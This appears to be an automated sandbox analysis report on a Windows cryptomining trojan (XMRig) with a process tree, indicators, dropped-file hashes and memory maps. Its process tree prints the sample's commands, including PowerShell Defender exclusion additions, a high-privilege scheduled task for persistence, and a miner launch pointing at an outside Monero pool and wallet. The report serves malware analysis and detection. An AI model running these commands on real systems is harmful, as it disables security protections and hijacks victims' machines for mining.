Analysis

  • max time kernel
    138s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2022, 15:59

General

  • Target
    file.exe
  • Size 3.0MB
  • Sample221127-te21msab67
  • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2036
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp4ECD.tmp.bat""
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1412
      • C:\ProgramData\template\SLNYW.exe
        "C:\ProgramData\template\SLNYW.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:568
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:876
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1988
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:836
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 616 -s 2060
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:824

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        SLNYW.exe

        • Path C:\ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path C:\ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        tmp4ECD.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp4ECD.tmp.bat
        • Size 142B
        • SHA256 5439e64044a6ec1cdba87697bb4892918bca7bcd9e99454d14731522396b0b33
        • MD5 SHA1 SHA512

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 7KB
        • SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
        • MD5 SHA1 SHA512 SSDEEP

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 7KB
        • SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
        • MD5 SHA1 SHA512 SSDEEP

        590aee7bdd69b59b.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        • Size 7KB
        • SHA256 3c8067a4e429e52b3a8cc7ef9b081e2e5e91a5d5abd1851549ad5766a346de13
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        SLNYW.exe

        • Path \ProgramData\template\SLNYW.exe
        • Size 3.0MB
        • SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
        • MD5 SHA1 SHA512 SSDEEP

        memory/568-135-0x000000001B720000-0x000000001BA1F000-memory.dmp

        memory/568-118-0x000007FEECCE0000-0x000007FEED703000-memory.dmp

        memory/568-142-0x0000000002764000-0x0000000002767000-memory.dmp

        memory/568-143-0x000000000276B000-0x000000000278A000-memory.dmp

        memory/568-122-0x000007FEEB230000-0x000007FEEBD8D000-memory.dmp

        memory/568-125-0x0000000002764000-0x0000000002767000-memory.dmp

        memory/616-91-0x0000000000130000-0x00000000005B4000-memory.dmp

        memory/616-100-0x000007FEFEBE0000-0x000007FEFEC51000-memory.dmp

        memory/616-148-0x000007FEFDF30000-0x000007FEFDF7D000-memory.dmp

        memory/616-130-0x000007FEFEB00000-0x000007FEFEBD7000-memory.dmp

        memory/616-147-0x000007FEF0A40000-0x000007FEF0AA2000-memory.dmp

        memory/616-146-0x000007FEF0A20000-0x000007FEF0A3C000-memory.dmp

        memory/616-145-0x000007FEFC2F0000-0x000007FEFC307000-memory.dmp

        memory/616-149-0x000007FEF9620000-0x000007FEF9684000-memory.dmp

        memory/616-150-0x000007FEF9690000-0x000007FEF9701000-memory.dmp

        memory/616-151-0x000007FEFC8C0000-0x000007FEFC8E5000-memory.dmp

        memory/616-152-0x000007FEFA3A0000-0x000007FEFA3C7000-memory.dmp

        memory/616-129-0x000007FEFB0D0000-0x000007FEFB2E5000-memory.dmp

        memory/616-92-0x00000000000D0000-0x0000000000112000-memory.dmp

        memory/616-93-0x000007FEFAA60000-0x000007FEFAACF000-memory.dmp

        memory/616-94-0x000007FEFA8B0000-0x000007FEFA94C000-memory.dmp

        memory/616-95-0x000007FEFEF50000-0x000007FEFEFB7000-memory.dmp

        memory/616-96-0x0000000076A90000-0x0000000076B8A000-memory.dmp

        memory/616-97-0x000007FEFE520000-0x000007FEFE5BF000-memory.dmp

        memory/616-98-0x0000000076B90000-0x0000000076CAF000-memory.dmp

        memory/616-99-0x000007FEFCB70000-0x000007FEFCBDC000-memory.dmp

        memory/616-131-0x000007FEFCE90000-0x000007FEFCEAF000-memory.dmp

        memory/616-101-0x000007FEF6320000-0x000007FEF6417000-memory.dmp

        memory/616-102-0x000007FEFEE70000-0x000007FEFEF4B000-memory.dmp

        memory/616-103-0x000007FEF4D60000-0x000007FEF574C000-memory.dmp

        memory/616-104-0x000007FEFE7F0000-0x000007FEFE91D000-memory.dmp

        memory/616-105-0x000007FEFE5C0000-0x000007FEFE7C3000-memory.dmp

        memory/616-106-0x0000000000130000-0x00000000005B4000-memory.dmp

        memory/616-107-0x000007FEFA780000-0x000007FEFA8AC000-memory.dmp

        memory/616-144-0x000007FEFC440000-0x000007FEFC462000-memory.dmp

        memory/616-153-0x000007FEFCE50000-0x000007FEFCE86000-memory.dmp

        memory/616-154-0x000007FEFC110000-0x000007FEFC16B000-memory.dmp

        memory/616-117-0x00000000000D0000-0x0000000000112000-memory.dmp

        memory/616-116-0x0000000000130000-0x00000000005B4000-memory.dmp

        memory/836-155-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/836-156-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/836-158-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/836-179-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/836-186-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/1508-139-0x00000000023B4000-0x00000000023B7000-memory.dmp

        memory/1508-119-0x000007FEECCE0000-0x000007FEED703000-memory.dmp

        memory/1508-127-0x00000000023B4000-0x00000000023B7000-memory.dmp

        memory/1508-141-0x00000000023BB000-0x00000000023DA000-memory.dmp

        memory/1508-133-0x000000001B750000-0x000000001BA4F000-memory.dmp

        memory/1508-128-0x000007FEEB230000-0x000007FEEBD8D000-memory.dmp

        memory/1684-67-0x00000000004D0000-0x0000000000512000-memory.dmp

        memory/1684-60-0x0000000076B90000-0x0000000076CAF000-memory.dmp

        memory/1684-64-0x000007FEFEE70000-0x000007FEFEF4B000-memory.dmp

        memory/1684-65-0x000007FEF5750000-0x000007FEF613C000-memory.dmp

        memory/1684-56-0x000007FEFA8B0000-0x000007FEFA94C000-memory.dmp

        memory/1684-66-0x00000000013D0000-0x0000000001854000-memory.dmp

        memory/1684-68-0x000007FEFE7F0000-0x000007FEFE91D000-memory.dmp

        memory/1684-57-0x000007FEFEF50000-0x000007FEFEFB7000-memory.dmp

        memory/1684-55-0x000007FEFAA60000-0x000007FEFAACF000-memory.dmp

        memory/1684-69-0x000007FEFE5C0000-0x000007FEFE7C3000-memory.dmp

        memory/1684-58-0x0000000076A90000-0x0000000076B8A000-memory.dmp

        memory/1684-59-0x000007FEFE520000-0x000007FEFE5BF000-memory.dmp

        memory/1684-70-0x00000000013D0000-0x0000000001854000-memory.dmp

        memory/1684-63-0x000007FEFA7B0000-0x000007FEFA8A7000-memory.dmp

        memory/1684-83-0x00000000013D0000-0x0000000001854000-memory.dmp

        memory/1684-84-0x00000000004D0000-0x0000000000512000-memory.dmp

        memory/1684-82-0x000007FEFCE90000-0x000007FEFCEAF000-memory.dmp

        memory/1684-61-0x000007FEFCB70000-0x000007FEFCBDC000-memory.dmp

        memory/1684-62-0x000007FEFEBE0000-0x000007FEFEC51000-memory.dmp

        memory/1684-71-0x000007FEF62F0000-0x000007FEF641C000-memory.dmp

        memory/1716-134-0x00000000024EB000-0x000000000250A000-memory.dmp

        memory/1716-123-0x000007FEEB230000-0x000007FEEBD8D000-memory.dmp

        memory/1716-126-0x00000000024E4000-0x00000000024E7000-memory.dmp

        memory/1716-77-0x000007FEECCE0000-0x000007FEED703000-memory.dmp

        memory/1716-137-0x00000000024EB000-0x000000000250A000-memory.dmp

        memory/1716-136-0x00000000024E4000-0x00000000024E7000-memory.dmp

        memory/2036-121-0x000007FEEB230000-0x000007FEEBD8D000-memory.dmp

        memory/2036-74-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

        memory/2036-124-0x00000000027D4000-0x00000000027D7000-memory.dmp

        memory/2036-78-0x000007FEECCE0000-0x000007FEED703000-memory.dmp

        memory/2036-140-0x00000000027DB000-0x00000000027FA000-memory.dmp

        memory/2036-138-0x00000000027D4000-0x00000000027D7000-memory.dmp

        memory/2036-132-0x000000001B7A0000-0x000000001BA9F000-memory.dmp